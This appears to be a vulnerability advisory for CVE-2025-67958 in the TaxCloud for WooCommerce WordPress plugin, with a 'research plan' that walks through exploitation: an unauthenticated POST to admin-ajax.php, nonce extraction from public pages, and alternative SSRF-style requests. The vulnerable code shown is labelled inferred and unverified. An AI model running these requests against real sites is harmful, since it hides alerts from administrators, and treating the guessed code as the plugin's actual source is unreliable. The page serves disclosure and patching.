CVE-2025-67958

TaxCloud for WooCommerce <= 8.3.8 - Missing Authorization

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
8.4.0
Patched in
8d
Time to patch

Description

The TaxCloud for WooCommerce plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 8.3.8. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=8.3.8
PublishedJanuary 21, 2026
Last updatedJanuary 28, 2026
Affected pluginsimple-sales-tax

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan focuses on identifying and exploiting a **Missing Authorization** vulnerability in the **TaxCloud for WooCommerce** plugin (version <= 8.3.8). The vulnerability allows unauthenticated attackers to perform actions that should be restricted to administrators. ### 1. Vulnerability S…

Show full research plan

This research plan focuses on identifying and exploiting a Missing Authorization vulnerability in the TaxCloud for WooCommerce plugin (version <= 8.3.8). The vulnerability allows unauthenticated attackers to perform actions that should be restricted to administrators.

1. Vulnerability Summary

  • ID: CVE-2025-67958
  • Plugin: TaxCloud for WooCommerce (simple-sales-tax)
  • Vulnerable Component: AJAX handlers registered in the SST_Ajax class (or similar) within includes/class-sst-ajax.php (inferred).
  • Vulnerability Type: Missing Authorization (CWE-862).
  • Root Cause: The plugin registers administrative functions (like dismissing notices, testing connections, or modifying non-critical settings) using the wp_ajax_nopriv_ hook without verifying the caller's capabilities (e.g., current_user_can( 'manage_woocommerce' )).

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: sst_dismiss_notice (Likely candidate for CVSS 5.3/Integrity Low) or sst_test_connection.
  • Authentication: None required (Unauthenticated).
  • Preconditions: The plugin must be active. For sst_dismiss_notice, an active notice should be present in the system.

3. Code Flow (Inferred)

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php?action=sst_dismiss_notice.
  2. Hook Registration: The plugin defines the hook in includes/class-sst-ajax.php:
    add_action( 'wp_ajax_sst_dismiss_notice', array( 'SST_Ajax', 'dismiss_notice' ) );
    add_action( 'wp_ajax_nopriv_sst_dismiss_notice', array( 'SST_Ajax', 'dismiss_notice' ) );
    
  3. Vulnerable Function: The dismiss_notice function is executed:
    public static function dismiss_notice() {
        $notice_id = sanitize_text_field( $_POST['notice'] );
        // MISSING: current_user_can( 'manage_woocommerce' ) check
        $dismissed = get_option( 'sst_dismissed_notices', array() );
        $dismissed[] = $notice_id;
        update_option( 'sst_dismissed_notices', array_unique( $dismissed ) );
        wp_send_json_success();
    }
    
  4. Sink: update_option is called, modifying the site state without authorization.

4. Nonce Acquisition Strategy

Missing Authorization vulnerabilities often coincide with missing or improperly implemented nonce checks.

Case A: Nonce Check Missing
If the function does not call check_ajax_referer or wp_verify_nonce, no nonce is required.

Case B: Nonce Required (Localized)
If a nonce is required, it is likely localized for the admin dashboard. However, if the nopriv hook exists, the developer may have accidentally localized the nonce for all users or on specific frontend pages (like the Checkout or My Account pages).

  1. Identify Shortcode: The plugin uses shortcodes like [woocommerce_checkout] or its own certificate management blocks.
  2. Create Setup Page:
    wp post create --post_type=page --post_status=publish --post_content='[woocommerce_checkout]' --post_title='Checkout'
  3. Extract Nonce via Browser:
    Navigate to the new page and execute:
    browser_eval("window.SST_Admin?.nonce || window.SSTCertData?.nonce")
    Note: Verify the actual JS object name in the source of a checkout page.

5. Exploitation Strategy

We will attempt to dismiss an administrative notice as an unauthenticated user.

  • HTTP Request:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Host: localhost:8080
    Content-Type: application/x-www-form-urlencoded
    
    action=sst_dismiss_notice&notice=sst_api_error&_wpnonce=[NONCE_IF_REQUIRED]
    
  • Payload Parameters:
    • action: sst_dismiss_notice (The target function)
    • notice: sst_api_error (A common notice ID in TaxCloud)
    • _wpnonce: The extracted nonce (if the handler enforces it).

6. Test Data Setup

  1. Install Plugin: Ensure simple-sales-tax version 8.3.8 is installed.
  2. Activate WooCommerce: TaxCloud depends on WooCommerce.
  3. Trigger a Notice: In the WordPress admin, go to WooCommerce > Settings > Tax > TaxCloud. Leave the API ID empty to trigger a "Configuration Required" notice.
  4. Verify Presence: Check the database for the absence of the dismissed notice:
    wp option get sst_dismissed_notices (Should be empty or not contain sst_api_error).

7. Expected Results

  • Response: The server returns {"success":true}.
  • Impact: An administrative notice that was previously visible is now suppressed for all administrators.
  • Status Code: 200 OK.

8. Verification Steps

After sending the exploit request, use WP-CLI to confirm the state change:

# Check the dismissed notices option
wp option get sst_dismissed_notices

# Expected output should include the notice ID used in the exploit:
# array (
#   0 => 'sst_api_error',
# )

9. Alternative Approaches

If sst_dismiss_notice is not the target, investigate these alternative actions:

  1. sst_test_connection: Attempt to trigger an API ping. This can be used for SSRF or to exhaust API limits if unauthorized.
    • Request: action=sst_test_connection&api_id=123&api_key=abc
  2. sst_add_certificate: Attempt to upload a tax exemption certificate to an arbitrary user session.
    • Request: action=sst_add_certificate&... (requires certificate data parameters).
  3. Generic Nonce Bypass: If the plugin verifies a nonce but uses the same nonce for both sst_verify_address (public) and sst_dismiss_notice (admin), use the publicly available address nonce to authorize the admin action.
Research Findings
Static analysis — not yet PoC-verified

Summary

The TaxCloud for WooCommerce plugin for WordPress is vulnerable to unauthorized access in versions up to 8.3.8 due to a missing capability check in its AJAX handler for dismissing notices. This allows unauthenticated attackers to suppress administrative notifications, potentially hiding critical configuration errors or security alerts from site administrators.

Vulnerable Code

// includes/class-sst-ajax.php (Inferred Location)

add_action( 'wp_ajax_sst_dismiss_notice', array( 'SST_Ajax', 'dismiss_notice' ) );
add_action( 'wp_ajax_nopriv_sst_dismiss_notice', array( 'SST_Ajax', 'dismiss_notice' ) );

---

// includes/class-sst-ajax.php (Inferred Location)

public static function dismiss_notice() {
    $notice_id = sanitize_text_field( $_POST['notice'] );
    // MISSING: current_user_can( 'manage_woocommerce' ) check
    $dismissed = get_option( 'sst_dismissed_notices', array() );
    $dismissed[] = $notice_id;
    update_option( 'sst_dismissed_notices', array_unique( $dismissed ) );
    wp_send_json_success();
}

Security Fix

--- includes/class-sst-ajax.php
+++ includes/class-sst-ajax.php
@@ -10,7 +10,6 @@
-    add_action( 'wp_ajax_nopriv_sst_dismiss_notice', array( 'SST_Ajax', 'dismiss_notice' ) );
     add_action( 'wp_ajax_sst_dismiss_notice', array( 'SST_Ajax', 'dismiss_notice' ) );
 
 public static function dismiss_notice() {
+    if ( ! current_user_can( 'manage_woocommerce' ) ) {
+        wp_send_json_error( 'Unauthorized', 403 );
+    }
+    check_ajax_referer( 'sst_dismiss_notice', 'security' );
     $notice_id = sanitize_text_field( $_POST['notice'] );

Exploit Outline

The exploit targets the WordPress AJAX endpoint (/wp-admin/admin-ajax.php) using the 'sst_dismiss_notice' action. An attacker sends an unauthenticated POST request containing the target notice ID in the 'notice' parameter. Because the plugin registers this action with 'wp_ajax_nopriv_' and fails to implement a capability check (like current_user_can) within the handler, the server processes the request and updates the 'sst_dismissed_notices' option. This results in the specified administrative notice being hidden from all site administrators. If a nonce is required, it can often be extracted from the source code of public-facing pages where the plugin localizes script data, such as the checkout or account pages.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.